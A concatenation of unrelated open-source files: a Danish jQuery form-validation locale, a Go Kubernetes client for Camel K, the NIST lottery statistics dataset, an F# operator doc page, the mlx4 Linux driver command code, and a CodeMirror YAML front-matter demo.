"alertText": "* Maksimum ",
"alertText2": " tegn tilladt"
},
"groupRequired": {
"regex": "none",
"alertText": "* Du skal udfylde mindst et af følgende felter"
},
"min": {
"regex": "none",
"alertText": "* Den mindst tilladte værdi er "
},
"max": {
"regex": "none",
"alertText": "* Den maksimalt tilladte værdi er "
},
"past": {
"regex": "none",
"alertText": "* Datoen skal være før "
},
"future": {
"regex": "none",
"alertText": "* Datoen skal være efter "
},
"maxCheckbox": {
"regex": "none",
"alertText": "* Antallet af tilladte valg er overskredet"
},
"minCheckbox": {
"regex": "none",
"alertText": "* Vælg venligst ",
"alertText2": " muligheder"
},
"equals": {
"regex": "none",
"alertText": "* Felterne er ikke ens"
},
"creditCard": {
"regex": "none",
"alertText": "* Ugyldigt kreditkortnummer"
},
"phone": {
// credit: jquery.h5validate.js / orefalo
"regex": /^([\+][0-9]{1,3}([ \.\-])?)?([\(][0-9]{1,6}[\)])?([0-9 \.\-]{1,32})(([A-Za-z \:]{1,11})?[0-9]{1,4}?)$/,
"alertText": "* Ikke gyldigt telefonnummer"
},
"email": {
// Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/
"regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i,
"alertText": "* Ikke gyldig e-mail"
},
"integer": {
"regex": /^[\-\+]?\d+$/,
"alertText": "* Ikke et korrekt tal"
},
"number": {
// Number, including positive, negative, and floating decimal. credit: orefalo
"regex": /^[\-\+]?((([0-9]{1,3})([,][0-9]{3})*)|([0-9]+))?([\.]([0-9]+))?$/,
"alertText": "* Ugyldig decimaltal"
},
"date": {
"regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/,
"alertText": "* Ugyldig dato, skal være i formatet ÅÅÅÅ-MM-DD"
},
"ipv4": {
"regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/,
"alertText": "* Ugyldig IP adresse"
},
"url": {
"regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i,
"alertText": "* Ugyldig URL"
},
"onlyNumberSp": {
"regex": /^[0-9\ ]+$/,
"alertText": "* Kun tal"
},
"onlyLetterSp": {
"regex": /^[a-zA-Z\ \']+$/,
"alertText": "* Kun bogstaver"
},
"onlyLetterAccentSp":{
"regex": /^[a-z\u00C0-\u017F\ ]+$/i,
"alertText": "* Kun bogstaver"
},
"onlyLetterNumber": {
"regex": /^[0-9a-zA-Z]+$/,
"alertText": "* Ingen specialtegn tilladt"
},
// --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings
"ajaxUserCall": {
"url": "ajaxValidateFieldUser",
// you may want to pass extra data on the ajax call
"extraData": "name=eric",
"alertText": "* Denne bruger er allerede taget",
"alertTextLoad": "* Kontrollere, vent venligst"
},
"ajaxNameCall": {
// remote json service location
"url": "ajaxValidateFieldName",
// error
"alertText": "* Dette navn er allerede taget",
// if you provide an "alertTextOk", it will show as a green prompt when the field validates
"alertTextOk": "* Dette navn er ledig",
// speaks by itself
"alertTextLoad": "* Kontrollere, vent venligst"
},
"validate2fields": {
"alertText": "* Indsæt venligst HELLO"
}
};
}
};
$.validationEngineLanguage.newLang();
})(jQuery);
|
{
"pile_set_name": "Github"
}
|
: ascii("α")
1 2
+-------------+
1 | 206 177 |
+-------------+
|
{
"pile_set_name": "Github"
}
|
/*
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1
import (
v1 "github.com/apache/camel-k/pkg/apis/camel/v1"
"github.com/apache/camel-k/pkg/client/camel/clientset/versioned/scheme"
rest "k8s.io/client-go/rest"
)
type CamelV1Interface interface {
RESTClient() rest.Interface
BuildsGetter
CamelCatalogsGetter
IntegrationsGetter
IntegrationKitsGetter
IntegrationPlatformsGetter
}
// CamelV1Client is used to interact with features provided by the camel.apache.org group.
type CamelV1Client struct {
restClient rest.Interface
}
func (c *CamelV1Client) Builds(namespace string) BuildInterface {
return newBuilds(c, namespace)
}
func (c *CamelV1Client) CamelCatalogs(namespace string) CamelCatalogInterface {
return newCamelCatalogs(c, namespace)
}
func (c *CamelV1Client) Integrations(namespace string) IntegrationInterface {
return newIntegrations(c, namespace)
}
func (c *CamelV1Client) IntegrationKits(namespace string) IntegrationKitInterface {
return newIntegrationKits(c, namespace)
}
func (c *CamelV1Client) IntegrationPlatforms(namespace string) IntegrationPlatformInterface {
return newIntegrationPlatforms(c, namespace)
}
// NewForConfig creates a new CamelV1Client for the given config.
func NewForConfig(c *rest.Config) (*CamelV1Client, error) {
config := *c
if err := setConfigDefaults(&config); err != nil {
return nil, err
}
client, err := rest.RESTClientFor(&config)
if err != nil {
return nil, err
}
return &CamelV1Client{client}, nil
}
// NewForConfigOrDie creates a new CamelV1Client for the given config and
// panics if there is an error in the config.
func NewForConfigOrDie(c *rest.Config) *CamelV1Client {
client, err := NewForConfig(c)
if err != nil {
panic(err)
}
return client
}
// New creates a new CamelV1Client for the given RESTClient.
func New(c rest.Interface) *CamelV1Client {
return &CamelV1Client{c}
}
func setConfigDefaults(config *rest.Config) error {
gv := v1.SchemeGroupVersion
config.GroupVersion = &gv
config.APIPath = "/apis"
config.NegotiatedSerializer = scheme.Codecs.WithoutConversion()
if config.UserAgent == "" {
config.UserAgent = rest.DefaultKubernetesUserAgent()
}
return nil
}
// RESTClient returns a RESTClient that is used to communicate
// with API server by this client implementation.
func (c *CamelV1Client) RESTClient() rest.Interface {
if c == nil {
return nil
}
return c.restClient
}
|
{
"pile_set_name": "Github"
}
|
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
// This package has the automatically generated typed clients.
package v1
|
{
"pile_set_name": "Github"
}
|
#####################################################################
# Dataset Name: Lottery
#
#Description: This is an observed/"real world" data set
# consisting of 218 lottery values
# from September 3, 1989 to April 14, 1990 (32 weeks).
# One 3-digit random number (from 000 to 999)
# is drawn per day, 7 days per week for most
# weeks, but fewer days per week for some weeks.
# We here use this data to test accuracy
# in summary statistics calculations.
#
# Stat Category: Univariate: Summary Statistics
#
# Reference: http://www.itl.nist.gov/div898/strd/univ/lottery.html
#
# Data: "Real World"
# 1 Response : y = 3-digit random number
# 0 Predictors
# 218 Observations
#
# Model: Lower Level of Difficulty
# 2 Parameters : mu, sigma
# 1 Response Variable : y
# 0 Predictor Variables#
# y = mu + e
#####################################################################
#####################################################################
#
# Certified Values
#
#####################################################################
mean = 518.958715596330
standardDeviation = 291.699727470969
autocorrelationCoefficient = -0.120948622967393
n = 218
#####################################################################
#
# Data
#
#####################################################################
162
671
933
414
788
730
817
33
536
875
670
236
473
167
877
980
316
950
456
92
517
557
956
954
104
178
794
278
147
773
437
435
502
610
582
780
689
562
964
791
28
97
848
281
858
538
660
972
671
613
867
448
738
966
139
636
847
659
754
243
122
455
195
968
793
59
730
361
574
522
97
762
431
158
429
414
22
629
788
999
187
215
810
782
47
34
108
986
25
644
829
630
315
567
919
331
207
412
242
607
668
944
749
168
864
442
533
805
372
63
458
777
416
340
436
140
919
350
510
572
905
900
85
389
473
758
444
169
625
692
140
897
672
288
312
860
724
226
884
508
976
741
476
417
831
15
318
432
241
114
799
955
833
358
935
146
630
830
440
642
356
373
271
715
367
393
190
669
8
861
108
795
269
590
326
866
64
523
862
840
219
382
998
4
628
305
747
247
34
747
729
645
856
974
24
568
24
694
608
480
410
729
947
293
53
930
223
203
677
227
62
455
387
318
562
242
428
968
|
{
"pile_set_name": "Github"
}
|
---
title: NullableOperators.( >=? )<'T> Function (F#)
description: NullableOperators.( >=? )<'T> Function (F#)
keywords: visual f#, f#, functional programming
author: dend
manager: danielfe
ms.date: 05/16/2016
ms.topic: language-reference
ms.prod: visual-studio-dev14
ms.technology: devlang-fsharp
ms.assetid: d1336d6b-a0bf-4b91-8f52-fad25e9ac212
---
# NullableOperators.( >=? )<'T> Function (F#)
The `>=` operator where a nullable value appears on the right.
**Namespace/Module Path**: Microsoft.FSharp.Linq.NullableOperators
**Assembly**: FSharp.Core (in FSharp.Core.dll)
## Syntax
```fsharp
// Signature:
( >=? ) : 'T -> Nullable<'T> -> bool when 'T : (IComparable) and 'T : (new : unit -> 'T) and 'T : struct and 'T :> ValueType
// Usage:
nullableValue >=? value
```
#### Parameters
*value*
Type: 'T
The first input value.
*nullableValue*
Type: **System.Nullable`1**<'T>
The second input value, as a nullable value.
## Return Value
True if the first value is greater than or equal to the second value.
## Remarks
If the second value is null, the result is `false`.
## Platforms
Windows 8, Windows 7, Windows Server 2012, Windows Server 2008 R2
## Version Information
**F# Core Library Versions**
Supported in: 4.0, Portable
## See Also
[Linq.NullableOperators Module (F#)](Linq.NullableOperators-Module-%5BFSharp%5D.md)
[Microsoft.FSharp.Linq Namespace (F#)](Microsoft.FSharp.Linq-Namespace-%5BFSharp%5D.md)
|
{
"pile_set_name": "Github"
}
|
<Canvas>
<Kind>42</Kind>
<Name>LightSettings</Name>
<IsMinified>0</IsMinified>
<XPosition>230.000000000</XPosition>
<YPosition>431.000000000</YPosition>
</Canvas>
<Widget>
<Kind>2</Kind>
<Name>ENABLE</Name>
<Value>1</Value>
</Widget>
<Widget>
<Kind>2</Kind>
<Name>SMOOTH</Name>
<Value>1</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>R</Name>
<Value>0.500000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>G</Name>
<Value>0.500000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>B</Name>
<Value>0.500000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>H</Name>
<Value>0.000000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>S</Name>
<Value>0.000000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>V</Name>
<Value>0.500000000</Value>
</Widget>
|
{
"pile_set_name": "Github"
}
|
SELECT * FROM USERS
INNER JOIN KNOWLEDGE_EDIT_USERS ON USERS.USER_ID = KNOWLEDGE_EDIT_USERS.USER_ID
WHERE KNOWLEDGE_EDIT_USERS.KNOWLEDGE_ID = ?
ORDER BY USERS.USER_ID
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2004, 2005 Topspin Communications. All rights reserved.
* Copyright (c) 2005, 2006, 2007, 2008 Mellanox Technologies. All rights reserved.
* Copyright (c) 2005, 2006, 2007 Cisco Systems, Inc. All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of this source tree, or the
* OpenIB.org BSD license below:
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
*
* - Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
*
* - Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/pci.h>
#include <linux/errno.h>
#include <linux/mlx4/cmd.h>
#include <asm/io.h>
#include "mlx4.h"
#define CMD_POLL_TOKEN 0xffff
enum {
/* command completed successfully: */
CMD_STAT_OK = 0x00,
/* Internal error (such as a bus error) occurred while processing command: */
CMD_STAT_INTERNAL_ERR = 0x01,
/* Operation/command not supported or opcode modifier not supported: */
CMD_STAT_BAD_OP = 0x02,
/* Parameter not supported or parameter out of range: */
CMD_STAT_BAD_PARAM = 0x03,
/* System not enabled or bad system state: */
CMD_STAT_BAD_SYS_STATE = 0x04,
/* Attempt to access reserved or unallocaterd resource: */
CMD_STAT_BAD_RESOURCE = 0x05,
/* Requested resource is currently executing a command, or is otherwise busy: */
CMD_STAT_RESOURCE_BUSY = 0x06,
/* Required capability exceeds device limits: */
CMD_STAT_EXCEED_LIM = 0x08,
/* Resource is not in the appropriate state or ownership: */
CMD_STAT_BAD_RES_STATE = 0x09,
/* Index out of range: */
CMD_STAT_BAD_INDEX = 0x0a,
/* FW image corrupted: */
CMD_STAT_BAD_NVMEM = 0x0b,
/* Error in ICM mapping (e.g. not enough auxiliary ICM pages to execute command): */
CMD_STAT_ICM_ERROR = 0x0c,
/* Attempt to modify a QP/EE which is not in the presumed state: */
CMD_STAT_BAD_QP_STATE = 0x10,
/* Bad segment parameters (Address/Size): */
CMD_STAT_BAD_SEG_PARAM = 0x20,
/* Memory Region has Memory Windows bound to: */
CMD_STAT_REG_BOUND = 0x21,
/* HCA local attached memory not present: */
CMD_STAT_LAM_NOT_PRE = 0x22,
/* Bad management packet (silently discarded): */
CMD_STAT_BAD_PKT = 0x30,
/* More outstanding CQEs in CQ than new CQ size: */
CMD_STAT_BAD_SIZE = 0x40,
/* Multi Function device support required: */
CMD_STAT_MULTI_FUNC_REQ = 0x50,
};
enum {
HCR_IN_PARAM_OFFSET = 0x00,
HCR_IN_MODIFIER_OFFSET = 0x08,
HCR_OUT_PARAM_OFFSET = 0x0c,
HCR_TOKEN_OFFSET = 0x14,
HCR_STATUS_OFFSET = 0x18,
HCR_OPMOD_SHIFT = 12,
HCR_T_BIT = 21,
HCR_E_BIT = 22,
HCR_GO_BIT = 23
};
enum {
GO_BIT_TIMEOUT_MSECS = 10000
};
struct mlx4_cmd_context {
struct completion done;
int result;
int next;
u64 out_param;
u16 token;
};
static int mlx4_status_to_errno(u8 status)
{
static const int trans_table[] = {
[CMD_STAT_INTERNAL_ERR] = -EIO,
[CMD_STAT_BAD_OP] = -EPERM,
[CMD_STAT_BAD_PARAM] = -EINVAL,
[CMD_STAT_BAD_SYS_STATE] = -ENXIO,
[CMD_STAT_BAD_RESOURCE] = -EBADF,
[CMD_STAT_RESOURCE_BUSY] = -EBUSY,
[CMD_STAT_EXCEED_LIM] = -ENOMEM,
[CMD_STAT_BAD_RES_STATE] = -EBADF,
[CMD_STAT_BAD_INDEX] = -EBADF,
[CMD_STAT_BAD_NVMEM] = -EFAULT,
[CMD_STAT_ICM_ERROR] = -ENFILE,
[CMD_STAT_BAD_QP_STATE] = -EINVAL,
[CMD_STAT_BAD_SEG_PARAM] = -EFAULT,
[CMD_STAT_REG_BOUND] = -EBUSY,
[CMD_STAT_LAM_NOT_PRE] = -EAGAIN,
[CMD_STAT_BAD_PKT] = -EINVAL,
[CMD_STAT_BAD_SIZE] = -ENOMEM,
[CMD_STAT_MULTI_FUNC_REQ] = -EACCES,
};
if (status >= ARRAY_SIZE(trans_table) ||
(status != CMD_STAT_OK && trans_table[status] == 0))
return -EIO;
return trans_table[status];
}
static int cmd_pending(struct mlx4_dev *dev)
{
u32 status = readl(mlx4_priv(dev)->cmd.hcr + HCR_STATUS_OFFSET);
return (status & swab32(1 << HCR_GO_BIT)) ||
(mlx4_priv(dev)->cmd.toggle ==
!!(status & swab32(1 << HCR_T_BIT)));
}
static int mlx4_cmd_post(struct mlx4_dev *dev, u64 in_param, u64 out_param,
u32 in_modifier, u8 op_modifier, u16 op, u16 token,
int event)
{
struct mlx4_cmd *cmd = &mlx4_priv(dev)->cmd;
u32 __iomem *hcr = cmd->hcr;
int ret = -EAGAIN;
unsigned long end;
mutex_lock(&cmd->hcr_mutex);
end = jiffies;
if (event)
end += msecs_to_jiffies(GO_BIT_TIMEOUT_MSECS);
while (cmd_pending(dev)) {
if (time_after_eq(jiffies, end))
goto out;
cond_resched();
}
/*
* We use writel (instead of something like memcpy_toio)
* because writes of less than 32 bits to the HCR don't work
* (and some architectures such as ia64 implement memcpy_toio
* in terms of writeb).
*/
__raw_writel((__force u32) cpu_to_be32(in_param >> 32), hcr + 0);
__raw_writel((__force u32) cpu_to_be32(in_param & 0xfffffffful), hcr + 1);
__raw_writel((__force u32) cpu_to_be32(in_modifier), hcr + 2);
__raw_writel((__force u32) cpu_to_be32(out_param >> 32), hcr + 3);
__raw_writel((__force u32) cpu_to_be32(out_param & 0xfffffffful), hcr + 4);
__raw_writel((__force u32) cpu_to_be32(token << 16), hcr + 5);
/* __raw_writel may not order writes. */
wmb();
__raw_writel((__force u32) cpu_to_be32((1 << HCR_GO_BIT) |
(cmd->toggle << HCR_T_BIT) |
(event ? (1 << HCR_E_BIT) : 0) |
(op_modifier << HCR_OPMOD_SHIFT) |
op), hcr + 6);
/*
* Make sure that our HCR writes don't get mixed in with
* writes from another CPU starting a FW command.
*/
mmiowb();
cmd->toggle = cmd->toggle ^ 1;
ret = 0;
out:
mutex_unlock(&cmd->hcr_mutex);
return ret;
}
static int mlx4_cmd_poll(struct mlx4_dev *dev, u64 in_param, u64 *out_param,
int out_is_imm, u32 in_modifier, u8 op_modifier,
u16 op, unsigned long timeout)
{
struct mlx4_priv *priv = mlx4_priv(dev);
void __iomem *hcr = priv->cmd.hcr;
int err = 0;
unsigned long end;
down(&priv->cmd.poll_sem);
err = mlx4_cmd_post(dev, in_param, out_param ? *out_param : 0,
in_modifier, op_modifier, op, CMD_POLL_TOKEN, 0);
if (err)
goto out;
end = msecs_to_jiffies(timeout) + jiffies;
while (cmd_pending(dev) && time_before(jiffies, end))
cond_resched();
if (cmd_pending(dev)) {
err = -ETIMEDOUT;
goto out;
}
if (out_is_imm)
*out_param =
(u64) be32_to_cpu((__force __be32)
__raw_readl(hcr + HCR_OUT_PARAM_OFFSET)) << 32 |
(u64) be32_to_cpu((__force __be32)
__raw_readl(hcr + HCR_OUT_PARAM_OFFSET + 4));
err = mlx4_status_to_errno(be32_to_cpu((__force __be32)
__raw_readl(hcr + HCR_STATUS_OFFSET)) >> 24);
out:
up(&priv->cmd.poll_sem);
return err;
}
void mlx4_cmd_event(struct mlx4_dev *dev, u16 token, u8 status, u64 out_param)
{
struct mlx4_priv *priv = mlx4_priv(dev);
struct mlx4_cmd_context *context =
&priv->cmd.context[token & priv->cmd.token_mask];
/* previously timed out command completing at long last */
if (token != context->token)
return;
context->result = mlx4_status_to_errno(status);
context->out_param = out_param;
complete(&context->done);
}
static int mlx4_cmd_wait(struct mlx4_dev *dev, u64 in_param, u64 *out_param,
int out_is_imm, u32 in_modifier, u8 op_modifier,
u16 op, unsigned long timeout)
{
struct mlx4_cmd *cmd = &mlx4_priv(dev)->cmd;
struct mlx4_cmd_context *context;
int err = 0;
down(&cmd->event_sem);
spin_lock(&cmd->context_lock);
BUG_ON(cmd->free_head < 0);
context = &cmd->context[cmd->free_head];
context->token += cmd->token_mask + 1;
cmd->free_head = context->next;
spin_unlock(&cmd->context_lock);
init_completion(&context->done);
mlx4_cmd_post(dev, in_param, out_param ? *out_param : 0,
in_modifier, op_modifier, op, context->token, 1);
if (!wait_for_completion_timeout(&context->done, msecs_to_jiffies(timeout))) {
err = -EBUSY;
goto out;
}
err = context->result;
if (err)
goto out;
if (out_is_imm)
*out_param = context->out_param;
out:
spin_lock(&cmd->context_lock);
context->next = cmd->free_head;
cmd->free_head = context - cmd->context;
spin_unlock(&cmd->context_lock);
up(&cmd->event_sem);
return err;
}
int __mlx4_cmd(struct mlx4_dev *dev, u64 in_param, u64 *out_param,
int out_is_imm, u32 in_modifier, u8 op_modifier,
u16 op, unsigned long timeout)
{
if (mlx4_priv(dev)->cmd.use_events)
return mlx4_cmd_wait(dev, in_param, out_param, out_is_imm,
in_modifier, op_modifier, op, timeout);
else
return mlx4_cmd_poll(dev, in_param, out_param, out_is_imm,
in_modifier, op_modifier, op, timeout);
}
EXPORT_SYMBOL_GPL(__mlx4_cmd);
int mlx4_cmd_init(struct mlx4_dev *dev)
{
struct mlx4_priv *priv = mlx4_priv(dev);
mutex_init(&priv->cmd.hcr_mutex);
sema_init(&priv->cmd.poll_sem, 1);
priv->cmd.use_events = 0;
priv->cmd.toggle = 1;
priv->cmd.hcr = ioremap(pci_resource_start(dev->pdev, 0) + MLX4_HCR_BASE,
MLX4_HCR_SIZE);
if (!priv->cmd.hcr) {
mlx4_err(dev, "Couldn't map command register.");
return -ENOMEM;
}
priv->cmd.pool = pci_pool_create("mlx4_cmd", dev->pdev,
MLX4_MAILBOX_SIZE,
MLX4_MAILBOX_SIZE, 0);
if (!priv->cmd.pool) {
iounmap(priv->cmd.hcr);
return -ENOMEM;
}
return 0;
}
void mlx4_cmd_cleanup(struct mlx4_dev *dev)
{
struct mlx4_priv *priv = mlx4_priv(dev);
pci_pool_destroy(priv->cmd.pool);
iounmap(priv->cmd.hcr);
}
/*
* Switch to using events to issue FW commands (can only be called
* after event queue for command events has been initialized).
*/
int mlx4_cmd_use_events(struct mlx4_dev *dev)
{
struct mlx4_priv *priv = mlx4_priv(dev);
int i;
priv->cmd.context = kmalloc(priv->cmd.max_cmds *
sizeof (struct mlx4_cmd_context),
GFP_KERNEL);
if (!priv->cmd.context)
return -ENOMEM;
for (i = 0; i < priv->cmd.max_cmds; ++i) {
priv->cmd.context[i].token = i;
priv->cmd.context[i].next = i + 1;
}
priv->cmd.context[priv->cmd.max_cmds - 1].next = -1;
priv->cmd.free_head = 0;
sema_init(&priv->cmd.event_sem, priv->cmd.max_cmds);
spin_lock_init(&priv->cmd.context_lock);
for (priv->cmd.token_mask = 1;
priv->cmd.token_mask < priv->cmd.max_cmds;
priv->cmd.token_mask <<= 1)
; /* nothing */
--priv->cmd.token_mask;
priv->cmd.use_events = 1;
down(&priv->cmd.poll_sem);
return 0;
}
/*
* Switch back to polling (used when shutting down the device)
*/
void mlx4_cmd_use_polling(struct mlx4_dev *dev)
{
struct mlx4_priv *priv = mlx4_priv(dev);
int i;
priv->cmd.use_events = 0;
for (i = 0; i < priv->cmd.max_cmds; ++i)
down(&priv->cmd.event_sem);
kfree(priv->cmd.context);
up(&priv->cmd.poll_sem);
}
struct mlx4_cmd_mailbox *mlx4_alloc_cmd_mailbox(struct mlx4_dev *dev)
{
struct mlx4_cmd_mailbox *mailbox;
mailbox = kmalloc(sizeof *mailbox, GFP_KERNEL);
if (!mailbox)
return ERR_PTR(-ENOMEM);
mailbox->buf = pci_pool_alloc(mlx4_priv(dev)->cmd.pool, GFP_KERNEL,
&mailbox->dma);
if (!mailbox->buf) {
kfree(mailbox);
return ERR_PTR(-ENOMEM);
}
return mailbox;
}
EXPORT_SYMBOL_GPL(mlx4_alloc_cmd_mailbox);
void mlx4_free_cmd_mailbox(struct mlx4_dev *dev, struct mlx4_cmd_mailbox *mailbox)
{
if (!mailbox)
return;
pci_pool_free(mlx4_priv(dev)->cmd.pool, mailbox->buf, mailbox->dma);
kfree(mailbox);
}
EXPORT_SYMBOL_GPL(mlx4_free_cmd_mailbox);
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<title>CodeMirror: YAML front matter mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">
<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/mode/overlay.js"></script>
<script src="../markdown/markdown.js"></script>
<script src="../gfm/gfm.js"></script>
<script src="../yaml/yaml.js"></script>
<script src="yaml-frontmatter.js"></script>
<style>.CodeMirror { border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; }</style>
<div id=nav>
<a href="https://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>
<ul>
<li><a href="../../index.html">Home</a>
<li><a href="../../doc/manual.html">Manual</a>
<li><a href="https://github.com/codemirror/codemirror">Code</a>
</ul>
<ul>
<li><a href="../index.html">Language modes</a>
<li><a class=active href="#">YAML-Frontmatter</a>
</ul>
</div>
<article>
<h2>YAML front matter mode</h2>
<form><textarea id="code" name="code">
---
receipt: Oz-Ware Purchase Invoice
date: 2007-08-06
customer:
given: Dorothy
family: Gale
items:
- part_no: A4786
descrip: Water Bucket (Filled)
price: 1.47
quantity: 4
- part_no: E1628
descrip: High Heeled "Ruby" Slippers
size: 8
price: 100.27
quantity: 1
bill-to: &id001
street: |
123 Tornado Alley
Suite 16
city: East Centerville
state: KS
ship-to: *id001
specialDelivery: >
Follow the Yellow Brick
Road to the Emerald City.
Pay no attention to the
man behind the curtain.
---
GitHub Flavored Markdown
========================
Everything from markdown plus GFM features:
## URL autolinking
Underscores_are_allowed_between_words.
## Strikethrough text
GFM adds syntax to strikethrough text, which is missing from standard Markdown.
~~Mistaken text.~~
~~**works with other formatting**~~
~~spans across
lines~~
## Fenced code blocks (and syntax highlighting)
```javascript
for (var i = 0; i < items.length; i++) {
console.log(items[i], i); // log them
}
```
## Task Lists
- [ ] Incomplete task list item
- [x] **Completed** task list item
## A bit of GitHub spice
* SHA: be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
